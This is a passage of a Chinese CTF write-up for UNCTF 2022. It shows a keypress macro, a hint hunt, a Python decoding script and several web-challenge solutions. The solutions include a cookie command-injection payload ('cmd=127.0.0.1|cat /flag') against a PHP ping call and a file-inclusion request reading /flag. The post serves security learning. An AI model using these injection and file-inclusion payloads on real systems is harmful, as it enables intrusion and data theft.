Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1

KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "2", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "0", 1
Delay 1
KeyPress "Enter", 1
Delay 1
KeyPress "1", 1
Delay 1
KeyPress "Enter", 1
Delay 1

为了这50分我容易吗

得到flag:UNCTF{436c3404-29cf-49de-91f3-3bd385d020ff}

结语

 这次的web感觉都可以做,三道sql注入只出了一道,真的tcl,这个礼拜还是测试周,和比赛重了着实难受,隔壁的geek也还没做QAQ。下礼拜就猛做sql注入和源码泄露的整理!还是要多刷题多整理啊…

复现

趁环境还没关,赶紧给复现了。(还没复现完,等一手其他师傅的wp,学点东西来)

1、我太喜欢bilibili大学啦修复版

纯纯瞎子,hint2在响应头躺着…

 进页面是phpinfo页面,搜索hint,搜到 hint_1: YWRtaW5fdW5jdGYucGhw,base64解码后:admin_unctf.php,于是访问,进入后在源代码找到了抓包的提示,这题我抓包后没看见响应头的hint2…纯瞎,hint2解码后就是账号密码,unctf2022/unctf2022。进入之后显示了源码:

<?php
putenv("FLAG=nonono");
if(!isset($_POST['username']) && !isset($_POST['password'])){
    exit("username or password is empty");
}else{
    if($_POST['username'] === "unctf2022" && $_POST['password'] === "unctf2022"){
        show_source(__FILE__);
        @system("ping ".$_COOKIE['cmd']);
    }else{
        exit("username or password error");
    }
} 

抓包,发包的时候在请求头设置一下Cookie即可,payload如下:

Cookie: cmd=127.0.0.1|cat /flag

得到一串base64编码,解码后是一串网址,发现是一个bilibili的主页,介绍里就是flag:

unctf{this_is_so_easy}

这题后来看了其他师傅的wp,发现firefox有一个cookie editor插件可以用来设置cookie

2、ez2048

game.js中有脚本的,但是逆不出,网上找的脚本:

view = [68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2, 0, 19, 0, 0]

for i in range(24):
    if ~i % 2 == 0:
        view[i] ^= (view[i-2] if i-2 >= 0 else 0)

for i in range(24):
    if ~i % 2 != 0:
        view[i] ^= (view[i+1] if i+1 <= 23 else 0)

for i in range(24):
    print(chr(view[i]), end='')

invitecode: w3lc0me_7o_unctf2022!!!

进去之后玩出的flag:UNCTF{hap9y_2048_game_w1th_unc7f2022~}

后续Alplexchur师傅给出了题解,搜索game.js中的 tile.value * 2 ,把2改为512后newgame,一次合成就会变成1024,但是不知道为什么我没成功QAQ。

3、快乐三消

 这道题还是我的问题,题目本身不难,就是有点细,hint是源码泄露,一直在看/.git目录,没想到真的东西藏在login.php.bak,应该都试一下的,不上来就用dirsearch去扫,能找到管理员的账号密码:admin/unctf登录后台后查看源代码发现网站预览模块的url居然是/fi.php?filename=index.php,这里存在一个任意文件包含漏洞,如下就…

/fi.php?filename=/flag

flag:UNCTF{75bd820e-00a7-4786-8d5d-8cea85e9d3d1}

4、随便注

5、SqlSql

以上两题sql注入由于题目关了无法复现了,过段时间等题目重新上线了再说吧,参考网址:

https://zeroc0077.github.io/2022/11/20/UNCTF2022-WP/#more

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值